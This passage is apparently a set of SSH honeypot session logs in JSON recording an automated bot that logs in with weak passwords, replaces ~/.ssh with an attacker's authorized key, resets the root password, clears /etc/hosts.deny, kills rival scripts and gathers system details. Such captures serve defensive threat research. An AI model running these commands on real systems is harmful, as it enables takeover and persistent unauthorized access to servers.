%MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:50:33.282863+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:50:33.746791+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:50:34.271903+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:50:34.542187+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:50:35.063889+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:50:35.429053+00:00","kind":"output","latency_ms":null,"data":"store"},{"seq":29,"at":"2026-08-26T16:50:35.958466+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:50:37.142558+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:50:37.663927+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:50:39.077434+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"store","password":"store","method":"password","accepted":true,"tier":"other"}]} {"id":"399c04e2-db52-4a37-8947-ae9cba25946a","name":"weathered-noble-tern","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":43468,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":542,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:47:42.889485+00:00","ended_at":"2026-08-26T16:47:44.105346+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-26T16:47:19.890394+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:47:20.433180+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:47:25.799206+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:47:26.285438+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:47:26.829666+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1GyQWDojIHux\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:47:27.366455+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:47:27.913522+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:47:28.337152+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:47:28.885040+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:47:30.146954+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:47:30.688480+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:47:31.875804+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:47:32.418551+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:47:33.159555+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:47:33.702911+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:47:34.103001+00:00","kind":"output","latency_ms":null,"data":" 16:47:34 up 6 days, 13:37, 0 user, load average: 0.31, 0.35, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:47:34.646375+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:47:35.087668+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:47:35.626413+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:47:36.332110+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:47:36.882860+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:47:37.341091+00:00","kind":"output","latency_ms":null,"data":"top - 16:47:37 up 6 days, 13:37, 0 user, load average: 0.31, 0.35, 0.19\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:47:37.891388+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:47:38.468054+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:47:39.007218+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:47:39.384116+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:47:39.919888+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:47:40.747777+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:47:41.281859+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:47:42.348606+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:47:42.890222+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:47:43.935496+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Mm123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"a658bcf5-063f-4dff-8e9a-afd117f622cb","name":"sturdy-glacial-quokka","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":54946,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":499,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:44:52.681323+00:00","ended_at":"2026-08-26T16:44:54.097677+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2236,"events":[{"seq":1,"at":"2026-08-26T16:44:29.414280+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:44:29.908189+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:44:35.878338+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:44:36.644230+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:44:37.141436+00:00","kind":"input","latency_ms":null,"data":"echo \"root:fXSb5lVTtnr1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:44:37.633473+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:44:38.141266+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:44:38.463369+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:44:38.966010+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:44:40.307627+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:44:40.806800+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:44:41.874166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:44:42.373253+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:44:43.105633+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:44:43.601237+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:44:44.149207+00:00","kind":"output","latency_ms":null,"data":" 16:44:44 up 6 days, 13:34, 0 user, load average: 0.3, 0.27, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:44:44.644671+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:44:45.359354+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:44:45.860280+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:44:46.165513+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:44:46.664917+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:44:47.125103+00:00","kind":"output","latency_ms":null,"data":"top - 16:44:47 up 6 days, 13:34, 0 user, load average: 0.3, 0.27, 0.33\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:44:47.620467+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:44:48.417132+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:44:48.928189+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:44:49.248998+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:44:49.747068+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:44:50.535174+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:44:51.032261+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:44:52.182104+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:44:52.682072+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:44:53.940118+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Zb123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"dc749601-cd80-4f73-991b-77c916554db9","name":"crystal-sandy-siskin","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":56228,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":526,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:41:54.034654+00:00","ended_at":"2026-08-26T16:41:55.391110+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2227,"events":[{"seq":1,"at":"2026-08-26T16:41:31.689487+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:41:32.215034+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:41:37.312246+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:41:37.835664+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:41:38.361270+00:00","kind":"input","latency_ms":null,"data":"echo \"root:rNq7FXGSX3IB\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:41:38.882131+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:41:39.405775+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:41:39.706072+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:41:40.230470+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:41:41.130864+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:41:41.659709+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:41:42.992734+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:41:43.519754+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:41:44.135259+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:41:44.655350+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:41:45.245252+00:00","kind":"output","latency_ms":null,"data":" 16:41:45 up 6 days, 13:31, 0 user, load average: 0.34, 0.24, 0.38\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:41:45.768404+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:41:46.335882+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:41:46.864202+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:41:47.161352+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:41:47.687601+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:41:48.311650+00:00","kind":"output","latency_ms":null,"data":"top - 16:41:48 up 6 days, 13:31, 0 user, load average: 0.34, 0.24, 0.38\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:41:48.841413+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:41:49.339807+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:41:49.865165+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:41:50.618096+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:41:51.139437+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:41:51.920339+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:41:52.449717+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:41:53.499697+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:41:54.035342+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:41:55.227469+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"test123","method":"password","accepted":true,"tier":"other"}]} {"id":"0cf5ac88-aba7-4987-86b4-c7729d5c142d","name":"sincere-lively-vole","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":40512,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":522,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T16:39:02.987858+00:00","ended_at":"2026-08-26T16:39:04.412047+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2214,"events":[{"seq":1,"at":"2026-08-26T16:38:39.679967+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T16:38:40.203704+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T16:38:45.770791+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T16:38:46.669525+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T16:38:47.197468+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9Wi5q9237tYS\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T16:38:47.720414+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T16:38:48.243747+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T16:38:48.652947+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T16:38:49.182279+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T16:38:50.465555+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T16:38:50.988894+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T16:38:52.224056+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T16:38:52.744437+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T16:38:53.350514+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T16:38:53.872595+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T16:38:54.724550+00:00","kind":"output","latency_ms":null,"data":" 16:38:54 up 6 days, 13:29, 0 user, load average: 0.27, 0.33, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T16:38:55.258935+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T16:38:55.919882+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T16:38:56.443915+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T16:38:56.775837+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T16:38:57.304405+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T16:38:57.591252+00:00","kind":"output","latency_ms":null,"data":"top - 16:38:57 up 6 days, 13:29, 0 user, load average: 0.27, 0.33, 0.3\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T16:38:58.113852+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T16:38:58.716791+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T16:38:59.238798+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T16:38:59.620849+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T16:39:00.139949+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T16:39:00.481628+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T16:39:01.003886+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T16:39:02.459352+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T16:39:02.988955+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T16:39:04.249150+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"toor","method":"password","accepted":true,"tier":"common"}]}